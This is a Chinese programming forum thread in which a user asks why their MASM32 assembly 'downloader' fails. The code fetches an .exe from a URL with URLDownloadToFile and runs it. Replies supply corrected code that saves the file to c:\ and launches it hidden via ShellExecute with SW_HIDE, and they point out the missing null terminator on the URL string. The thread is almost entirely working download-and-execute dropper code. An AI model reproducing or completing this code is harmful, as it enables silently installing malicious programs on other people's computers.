用汇编写一个简单的下载者,为什么出错了?
.386
.model flat, stdcall
option casemap :none
include \masm32\include\kernel32.inc
include \masm32\include\urlmon.inc
include \masm32\include\windows.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\urlmon.lib
.data
URL db "http://127.0.0.1/xxx.exe "
EXE db "xxx.exe ",0;
.code
start:
invoke URLDownloadToFileA,0,addr URL,addr EXE,0,0;
invoke WinExec,EXE,0;
invoke ExitProcess,NULL;
end start
真晕了,代码是照着书上抄的,可是不知道哪出错了,就是不成功。
[解决办法]
修改一下上面代码:
.386
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib
.data
URL db "http://127.0.0.1/xxx.exe "
EXE db "c:\xxx.exe ",0;
.code
start:
invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke ShellExecute,0,0,addr EXE,0,0,SW_HIDE
invoke ExitProcess,NULL;
end start
[解决办法]
没有用过这个函数, 不过, URL 字符串应该以 00 字节结尾吧?
[解决办法]
在ring3层,一般的字符串结尾必须用0来标示.